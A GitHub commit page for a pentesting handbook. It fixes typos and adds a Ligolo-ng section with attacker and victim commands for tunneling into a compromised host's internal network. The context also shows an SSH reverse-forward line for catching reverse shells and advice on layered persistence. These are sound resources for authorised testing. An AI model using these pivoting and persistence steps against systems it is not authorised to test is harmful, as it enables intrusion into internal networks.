Skip to content

Commit 15d2b0c

Browse files
authored
Merge pull request #960 from devubu/add-ligolo-ng
Add Ligolo-ng technique to tunneling-and-port-forwarding.md
2 parents 31378f5 + 9b575f5 commit 15d2b0c

File tree

2 files changed

+42
-2
lines changed

2 files changed

+42
-2
lines changed

Diff for: generic-methodologies-and-resources/pentesting-methodology.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -121,7 +121,7 @@ Find here different ways to [**dump passwords in Windows**](https://github.com/c
121121

122122
#### 11.2 - Persistence
123123

124-
**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\
124+
**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\
125125
**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
126126

127127
TODO: Complete persistence Post in Windows & Linux

Diff for: generic-methodologies-and-resources/tunneling-and-port-forwarding.md

+41-1
Original file line numberDiff line numberDiff line change
@@ -85,7 +85,7 @@ This is useful to get reverse shells from internal hosts through a DMZ to your h
8585

8686
```bash
8787
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 [email protected] -vN
88-
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
88+
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
8989
# Note that port 443 must be open
9090
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
9191
# and change the line "GatewayPorts no" to "GatewayPorts yes"
@@ -245,6 +245,46 @@ You need to use the **same version for client and server**
245245
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
246246
```
247247

248+
## Ligolo-ng
249+
250+
[https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
251+
252+
**Use the same version for agent and proxy**
253+
254+
### Tunneling
255+
256+
```bash
257+
# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
258+
sudo ./proxy -selfcert
259+
# Create an interface named "ligolo" -- Attacker
260+
interface_create --name "ligolo"
261+
# Print the currently used certificate fingerprint -- Attacker
262+
certificate_fingerprint
263+
# Start the agent with certification validation -- Victim
264+
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
265+
# Select the agent -- Attacker
266+
session
267+
1
268+
# Start the tunnel on the proxy server -- Attacker
269+
tunnel_start --tun "ligolo"
270+
# Display the agent's network configuration -- Attacker
271+
ifconfig
272+
# Create a route to the agent's specified network -- Attacker
273+
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
274+
# Display the tun interfaces -- Attacker
275+
interface_list
276+
```
277+
278+
### Agent Binding and Listening
279+
280+
```bash
281+
# Establish a tunnel from the proxy server to the agent
282+
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
283+
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
284+
# Display the currently running listeners on the agent -- Attacker
285+
listener_list
286+
```
287+
248288
## Rpivot
249289

250290
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)

0 commit comments

Comments
 (0)